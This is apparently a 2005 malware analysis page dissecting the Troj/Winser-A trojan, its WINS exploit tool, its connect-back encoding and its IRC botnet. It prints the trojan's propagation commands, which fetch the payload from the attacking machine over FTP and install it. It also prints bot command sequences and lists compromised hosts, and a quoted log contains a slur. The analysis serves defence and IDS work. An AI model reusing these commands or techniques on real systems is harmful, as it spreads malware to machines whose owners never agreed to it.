![[Steve Friedl Logo]](/images/unixwiz-logo-140x80.gif){kind=logo}
This site uses advanced css techniques
![[Reverse Engineering Malware logo]](../images/revmalware.jpg)
Lawrence Baldwin of MyNetWatchman runs a distributed firewall log network that collects intrusion information from thousands of systems worldwide, and it provides a kind of "early warning" system for internet activity. Reports are collected and summarized to ISPs, which are able to take action more efficiently than if these reports were sent individually (and perhaps with less detail).
While noticing increased activity of a certain type, he was able to research selected systems and actually capture some of the malware responsible for that activity. This has been called Troj/Winser-A by Sophos, but we're presenting a more detailed analysis here.
The main player is ccEvtMngr.exe, which is clearly an attempt to masquerade as the similarly-named ccevtmgr, the Symantec Event Manager Service. The file is 139kbytes large, and it contains (among other things) a complete copy of a smaller program, ccSetMngr.exe that it attempts to drop on the infected system.
Note: this is a Trojan, not a worm, and it's been permanently disabled as of this writing due to the removal a key DNS name. This is no longer active malware.
When a new machine is compromised, the infected machine "phones home" back to the attacking machine to port 37264/tcp, and then spawns a command shell, waiting for input. The attacking machine sends what amounts to a small batch file that launches an FTP program. It calls back to the attacking machine on port 36010/tcp, which is listening with a pseudo-FTP server. It downloads and installs itself on that machine.
This process is controlled by an IRC server irc.bel3c.com, which seems to have a number of machines participating in the process. The Trojan frequently "phones home" to inform the server of its progress.
Abuse reports have been dispatched to the ISPs responsible for the IRC servers in question.
This, the smaller of the two files, appears to be a standalone exploit tool that attempts to infect a target machine via one of several variations of the WINS exploit. Once infected, the target machine is told to connect back to a machine where perhaps a shell is opened and input awaited.
The internal strings suggest its original name was wins_exp, and the other strings helpfully provide a usage message and information on the target types:
Usage: wins_exp [-h] [-r host] [-t targets] [-l listen host] [-p listen port] 0 | Windows 2000 ALL 1 | Windows 2003 CN 2 | Windows 2003 EN 3 | Windows 2003 EN #2 4 | Windows NT ALL
Expanding on the usage message above, we find these options provided by the program. Helpfully, both "dash" and "slash" notation are supported (e.g., -r and /r both work):
The code appears to contain no locally-dangerous code (e.g., no attempt to open files, access the registry, run other programs, etc.), so we felt safe in running it directly from the command line. We pointed it to a port-capture program to collect the various binary data patterns sent by the tool.
In each case, it makes an outbound connection to port 42/tcp (WINS) on the target system and sends a 9212-byte packet that contains the connect-back IP address and port number in a encoded format, and in the case of all the Win2003 attacks, follows it with a second (but different) 9212-byte packet. The code mentions "sending a carsh packet", but it very well may be a misspelling of "crash".
Curiously, the "2003 CN" and "2003 EN" attacks send the same pair of packets, and the code confirms that there is no difference between them. This looks like a bug.
We've not dug into the exploit details themselves, but we'd not be surprised if it used a variant of the exploit posted by K-Otik.
We have captured all the data patterns sent to all the target types, and with the exception of the connect-back IP address and port, the rest of the patterns appear to be fixed.
The connect-back IP address is in four bytes starting at offset 0x519, and it's XOR'd with the pattern 0x99999999. The port number is in two bytes starting at 0x520, also XOR'd with 0x9999. The example shown here is set with 192.168.1.1:30000, and this is encoded as:
IP Address port ------------- ----- 192 168 1 1 30000 cleartext, decimal C0 A8 01 01 75 30 cleartext, hexadecimal 59 31 98 98 EC A9 encoded, hexadecimal![[WINS connectback]](../images/wins_exp-connectback.gif)
We expect that these could be used to create capture patterns for the snort Intrusion Detection System.
Note that these .bin files are the raw data as received by the capture program, and contains no housekeeping or wrapper data: 9212 bytes on the wire, 9212 bytes in the files.
| Target type | First attack packet | Second attack packet |
|---|---|---|
| Windows NT | wins_exp.nt4.bin | (none) |
| Windows 2000 ALL | wins_exp.w2k.bin | (none) |
| Windows 2003 EN Windows 2003 CN |
wins_exp.2k3EN1-A.bin | wins_exp.2k3EN1-B.bin |
| Windows 2003 EN2 | wins_exp.2k3EN2-A.bin | wins_exp.2k3EN2-B.bin |
We have not researched the contents of the attack packets to any degree, though they are likely based on exploit code that has been published already.
The Trojan itself contains in its data section a full copy of the above ccSetMngr program, and it drops it when it lands somewhere. This very well could be some standard Trojan framework: those who recognize it are encouraged to let us know.
The program is almost entirely one function: WinMain is huge (with more than 300 local labels at the machine-code level), and it uses more than 100k of local stack. It looks exceptionally sloppy.
The ASCII strings for the program are here.
It is designed to run standalone or as a service, and the command line guides this. When run with "install", it installs itself as an auto-start service named "NetTcpd", and it uses its own file as the service executable. If the command line option is "remove", it uninstalls the service and exits.
However launched, it then creates a mutex named "uhmshhhplz4reelz", and if it already exists, it exits quietly. It doesn't retain a HANDLE to this object, so it merely creates it for existence and relies on the HANDLE being closed when it exists.
It arranges for itself to start from the Run key in HKLM:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run\nortonsantivirus
Note the plural spelling of nortonsantivirus.
After startup, the program opens its own executable file and reads a copy of into allocated memory. It will try several times to read this, presumably to get around sharing issues. This chunk of memory is used when providing a copy of itself to infected machines later.
It starts a "connectback thread" that accepts connections on 37264/tcp, which is the port given to ccSetMngr to connect back to. It expect to get connections from infected systems, and those systems have a command shell on the other end. The connectback thread sends these commands (all as one long string, each command separated with &:
echo off echo open my IP address 36010>>cmd.ftp echo blah>>cmd.ftp echo hack >>cmd.ftp echo get ccEvtMngr.exe>>cmd.ftp echo bye>>cmd.ftp echo on ftp -s:cmd.ftp ccEvtMngr.exe install echo off del cmd.ftp echo on exit
The exploited machines are downloading a copy of this very executable, ccEvtMngr.exe and installing it, so at this point the worm has now officially "spread".
Another thread in the program on 36010/tcp, and when it accepts a new connection, it spawns a new thread to service that client. This new thread issues a prompt:
220 BPFTPD
It seems clear that this is not really an FTP server, but a dummy handshaker that's responding to the set of commands issued by the connectback thread.
The program has some interaction with an IRC server irc.bel3c.com, connecting to channel #shhplz, and the password is nono.
A colleague (DSLReports.com user removed) has investigated this machine and provided some background.
At the time of this writing, the name irc.bel3c.com maps to multiple IP addresses.
| IP address | Inverse DNS | Comments |
|---|---|---|
| 64.233.111.50 | 50.111.233.64.transedge.com | transedge (reseller) DSL/T1 pipe, probably hacked |
| 69.41.238.180 | 180.69-41-238.reverse.theplanet.com | against TOS, provider does not allow linked ircds |
| 69.56.191.198 | 198.69-56-191.reverse.theplanet.com | Hosted at theplanet/servermatrix dedicated box: against TOS, provider does not allow linked ircds |
| 64.5.160.122 | unknown at tusco.net | some small ISP up north, probably hacked |
| 64.19.38.131 | 64.19.38.131.nw.nuvox.net | another box on some small ISP, probably hacked |
| 64.233.35.18 | 18.35.233.64.transedge.com | transedge (reseller) DSL/T1 pipe (probably hacked) |
He reports that the IRC server software has been heavily modified: it's not possible to see other IP addresses, request a list of channels, or do anything else.
Welcome to the Internet Relay Network removed Your host is Gamma.bel3c.com, running version beware1.5.7 This server was created Tue Jul 13 2004 at 20:36:07 GMT Gamma.bel3c.com beware1.5.7 dgikoswx bhiklmnoprstv SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=100 are supported by this server NICKLEN=9 TOPICLEN=300 AWAYLEN=160 KICKLEN=300 CHANTYPES=#& PREFIX=(ohv)@%+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 are supported by this server Message of the day, Gamma.bel3c.com - 2004-12-31 21:45 - Welcome to the Complete Construction Cost IRC Server - The Beximco 3 C's - - This is a PRIVATE IRC Server, if you were not invited, - please leave immediately. - - Problems? Contact us: - Beximco Engineering Ltd. - Beximco Pharma Project - Squib Road, Charg Ali, Tongi Gazipur, Bangladesh - Telephone:880-189-226488 (Network Support) - e-mail: irc@bel3c.com - - Any connections to the bel3c IRC Server signifies acceptance - of the terms and conditions. If you have not yet read and agreed - to the terms and conditions you must exit this network. - Unauthorized access will be prosecuted. - All connections are logged. - - Thank you, - bel3c.com Staff End of /MOTD command. ... Topic is: evil Set by: Gamma.bel3c.com on Fri Dec 31 23:58:30 2004 Joined: #shhplz Total Users: 99 OPs: 0 (0%) Voice: 0 (0%) Users: 99 (100%)
It's not a bad guess that the operators of these servers do not welcome visitors, so poking around from networks you care about is probably a really bad idea.
We had spent quite a few days wandering around the binary with IDA PRo that we were pretty comfortable that the program wasn't going to be malicious on our own system, so we fired it up in order to characterize its runtime behavior.
The first step we took was to add an entry in /etc/hosts to redirect attempts to irc.bel3c.com to a friendly IRC server, and then we watched its behavior. It connects to the IRC server and performs several commands:
1 NICK b11l50ka 2 USER auser "hax.com" "irc.someirc.org" :auser 3 USERHOST b11l50ka 4 JOIN #shhplz nono 5 PING :irc
Lines 1 and 3 contain a nickname that is constructed from runtime system information (process ID, clock, etc.). The nickname always starts with b. Line 2 appears to always be the same, and this suggests a pattern for IDS. We saw no efforts whatsoever to fragment the data.
It then listens for commands from the server addressed to it, and it only responds when the calling hostname is one of dhcp-53-1-168-192.dialup.framper.com or a.reet.hax0r. Initially we got around this in the debugger, but that became tedious so we simply patched the binary to jump around the string tests. This allows any user to drive the bot, and we'll provide this binary once we remove a few more minor bits.
All the commands appear to start with !, which seems to be standard fare for bots, and we're still figuring out what they all do. We'll list the commands we know about now, filling in the details as we find them.
<b11l4mbj> C:\ Total free GB = 1.700344 of 7.813564 <b11l4mbj> D:\ Total free GB = 26.330898 of 39.060291 <b11l4mbj> E:\ Total free GB = 58.571850 of 67.610561 <b11l4mbj> F:\ Total free GB = 25.293480 of 55.897858 <b11l4mbj> M:\ Total free GB = 6.264694 of 39.060322 <b11l4mbj> T:\ Total free GB = 13.491421 of 19.533958
One of the "allowed" hosts is dhcp-53-1-168-192.dialup.framper.com, and the forward IP address - at the time of this writing - is 67.18.97.50, which properly inverses to firmsolutions.biz. On a hunch, we visited this machine to see if it had an IRC server with the same channel, and sure enough: it did.
We were on the channel long enough to run a /whois command for each nickname attached, and revealed 18 systems that seem to be participating in the botnet (but not the same botnet as Troj/Winser-A}:
Level3: ~ a1ami8f is: ~nohax@dialup-4.152.213.249.Dial1.Atlanta1.Level3.net * nohax ~ a2ljj44 is: ~nohax@dialup-4.155.129.78.Dial1.Baltimore1.Level3.net * nohax NTL: ~ a4m99fek is: ~nohax@cpc2-cmbg2-5-0-cust89.cmbg.cable.ntl.com * nohax ~ a5dok3lf is: ~nohax@cpc2-cmbg2-5-0-cust89.cmbg.cable.ntl.com * nohax UCLA: ~ abi17nlm is: ~nohax@envdiv.seas.ucla.edu * nohax USC: ~ ajmn035 is: eat@pharmweb.hsc.usc.edu * nohax VERIZON: ~ aa3j4na5 is: ~nohax@wbar17.dal1-4.26.99.93.dal1.dsl-verizon.net * nohax ~ aamb4pob is: ~nohax@wbar1.sjo1-4-4-021-094.sjo1.dsl-verizon.net * nohax SWBELL: ~ a6j8enp3 is: ~nohax@adsl-65-64-130-65.dsl.stlsmo.swbell.net * nohax UMD: ~ a6bng58p is: ~nohax@servbldg-29.umd.edu * nohax BTOPENWORLD: ~ a2fl93l7 is: ~nohax@host81-139-53-250.in-addr.btopenworld.com * nohax UUNET / Corporate Executive Suites ~ am1a is: ~nohax@65.218.180.173 * nohax UUNET/ Datastream Group ~ aa9diood is: ~nohax@65.198.223.190 * nohax QWEST / KMC TELECOM ~ acomb8pf is: ~nohax@65.127.163.123 * nohax Broadwing / Total_Web_Host_Solutions ~ ab5jlkj7 is: ~nohax@65.89.79.231 * nohax Esurf Holdings Limited ~ a1ek is: ~nohax@210.55.25.41 * nohax Romanian ~ acom2n1l is: ~nohax@GrScBabes.cluj.astral.ro * nohax ~ a19obebh is: ~nohax@ns.sysco.ro * nohax
Owners of these systems ought to take steps to clean them up.
At first, we suspected the owner of the framper.com domain to be complicit in this - why else would the curious long name be in his zone file? - but later research revealed that the zone file has a wildcard record, so anything.framper.com resolves to that same IP.
The owner of the machine in question - Daniel Hayes - has been quite forthcoming about this, providing us with logs:
services.log.20050104:[Jan 04 23:53:06 2005] NickServ: Bob!bob@nigger.areagroup-nigeria.com identified for nick Bob services.log.20050104:[Jan 04 23:53:07 2005] HostServ: Bob!bob@aeris.ff7.org host is now dhcp-53-1-168-192.dialup.framper.com services.log.20050105:[Jan 05 15:05:31 2005] NickServ: Bob!bob@aeris.ff7.org identified for nick Bob services.log.20050105:[Jan 05 15:05:32 2005] HostServ: Bob!bob@aeris.ff7.org host is now dhcp-53-1-168-192.dialup.framper.com services.log.20050105:[Jan 05 15:57:04 2005] vHost for user bob set to Zero.Cool.In.The.Flesh by oper |Darth| services.log.20050106:[Jan 06 01:39:41 2005] NickServ: Bob!bob@aeris.ff7.org identified for nick Bob services.log.20050106:[Jan 06 01:39:42 2005] HostServ: Bob!bob@aeris.ff7.org host is now Zero.Cool.In.The.Flesh
The machine aeris.ff7.org is run by a service provider who sells (among other things) shell accounts, and "Bob" is merely a customer. "Bob" was running BNC, an IRC redirector which allows him to proxy his connection and hide his real IP address. This in itself is an entirely legitimate use.
We have also come to understand that "Bob" is actually an authorized operator on the IRC server in question, though presumably not for activities such as running a botnet. "Bob" was apparently concerned about this information becoming public, perhaps because he didn't wish to risk losing his operator status on the server.
We think that Daniel perhaps ought to show a bit more care in selecting his friends, but in the online world it's not really fair to hold him completely responsible for the actions of others. In addition, one does not need to be a trusted operator to perpetrate this kind of bad behavior, so this further mitigates his responsibility.
The two files in question are available here;
Note that the .IDB files are refreshed only occasionally and may not be the absolute latest of what I'm working on, but it's settled down a lot of late.
Thanks to...
... myNetWatchman for capturing this malware for us to analyze.
... DSLR user "removed" for his extensive help on IRC matters.
... to Chris Mospaw for graphic design.
... to Ilfak Guilfanov for his IDA Pro interactive disassembler, the best software of any kind, ever.
Last updated: Sun Jan 9 10:30:56 PST 2005
![[Steve's Email]](/images/steve-email.gif)